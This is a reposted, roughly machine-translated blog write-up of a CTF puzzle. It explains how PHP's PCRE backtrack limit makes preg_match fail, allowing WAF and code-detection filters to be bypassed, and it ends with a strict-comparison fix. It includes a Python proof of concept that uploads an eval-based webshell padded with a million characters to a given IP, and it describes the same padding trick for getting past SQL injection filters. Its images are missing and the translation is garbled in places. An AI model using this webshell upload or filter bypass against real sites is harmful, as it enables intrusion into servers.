[Turn] PHP using the PCRE backtrack limit the number of bypass certain security restrictions

The Code-Breaking Puzzles I out of a seemingly simple topic pcrewaf , its code is simplified as follows:

<?php
function is_php($data){  
    return preg_match('/<\?.*[(`;?>].*/is', $data);  
}

if(!is_php($input)) {
    // fwrite($f, $input); ...
} 

Determine what effect that there is no user input PHP code, and if not, write to the file. This time, how to bypass is_php()function to write webshell it?

This question may seem simple, get to the bottom of its principles, it is worth writing an article.

What is a regular expression 0x01

Regular expressions can be a "finite state machine" language accepted class.

"Finite state machine", which has a limited number of states, each state can migrate to zero or more states, the decision to move the input string which state of execution.

The common regular engine, is subdivided into DFA (deterministic finite state automata) and NFA (non-deterministic finite state automata). They match the input process are:

  • DFA: from the starting state, a read character by character input string, and a step to determine the next state according to a transition to a regular, or until a match is not completed over the entire input
  • NFA: beginning from the initial state, a read input character by character string, and regular expression matching, if not a match, then backtracking to try another state

Because of backtracking NFA implementation process, so its performance is inferior to DFA, but it supports more features. Most programming languages ​​are used as the NFA regex engine, which also includes the PCRE library used by PHP.

0x02 What is the process of backtracking

So, our regular topic of <\?.*[(`;?>].*input, assuming that the match is <?php phpinfo();//aaaaa, the actual implementation process is like this:

 

 

 

See above, step 4, when seen as a first .*matches any character, the final match to the end of the input string, that is //aaaaa. But this time is obviously wrong, because the regular display .*behind should also have a character [(`;?>].

So NFA began to backtrack, spit out a first ainput becomes Step 5 displayed //aaaa, but still does not match the regular, continuing spit ainto //aaa, still does not match the ......

Until final discharge ;, input goes to step 12 shows <?php phpinfo(), at this time, .*the match is php phpinfo(), while the back ;is matched [(`;?>], the result satisfied the requirements of the regular expression, so no backtracking. Step 13 starts backward matching ;, the matching step 14 .*, the second .*matching string to the end, the end of the last match.

In debug regular expressions, we can view the current number of backtracking:

 

 

 

Here back eight times.

0x03 PHP's pcre.backtrack_limitrestrictions on the use

PHP regular expressions in order to prevent denial of service attacks (reDOS), pcre to set a maximum number of backtracking pcre.backtrack_limit. We can by var_dump(ini_get('pcre.backtrack_limit'));way of viewing the upper limit in the current environment:

 

 

 

Here is an interesting thing is that PHP document, the English version of the value is not the same:

We should be in English as a reference.

Visible, backtracking default maximum number of 100 million. Well, suppose we number more than 100 million back, what will happen then? such as:

Visible, preg_matchnon-return of 0 and 1, but false.

preg_matchThis function returns false representation fails, we can call var_dump(preg_last_error() === PREG_BACKTRACK_LIMIT_ERROR);, we found the cause of failure is indeed back the number exceeds the limit:

Therefore, the answer to this question will ready to come out. Us by sending overly long string, the positive fails to perform, the final target to bypass restrictions on PHP language.

Corresponding to the POC as follows:

import requests
from io import BytesIO

files = {
  'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}

res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)

0x04 PCRE Another wrong usage

Extend it, a lot of PHP-based WAF, such as:

<?php
if(preg_match('/SELECT.+FROM.+/is', $input)) {
    die('SQL Injection');
}

All the above problems can be bypassed by a lot of backtracking.

In addition, I met a WAF is more common

<?php
if(preg_match('/UNION.+?SELECT/is', $input)) {
    die('SQL Injection');
}

  

Here it comes to the regular expression "non-greedy mode." In the NFA, if I type UNION/*aaaaa*/SELECTthis regular expression execution process is as follows:

  • .+?To match/
  • Because the non-greedy mode, so .+?stop the match, but the Smatch*
  • SMatch *fails, backtracking, then by .+?matching*
  • Because the non-greedy mode, so .+?stop the match, but the Smatcha
  • SMatch afails, backtracking, then by .+?matchinga
  • ...

With the increase of the number of times a retrospective increases. So, we can still send large amounts of a, back to the times beyond the pcre.backtrack_limitlimit, thus bypassing the WAF:

0x05 repair method

So, how to fix this problem?

In fact, if we look closely PHP documentation, you can see preg_matchthe function of the following warning:

If preg_matchthe string matches, we must use ===full to equate the return value, such as:

<?php
function is_php($data){  
    return preg_match('/<\?.*[(`;?>].*/is', $data);  
}

if(is_php($input) === 0) {
    // fwrite($f, $input); ...
}

In this way, even if we fail then the execution returns false, it will not enter the if statement  

  

 

P article from God:

https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html?page=1#reply-list

Guess you like

Origin www.cnblogs.com/BOHB-yunying/p/11756494.html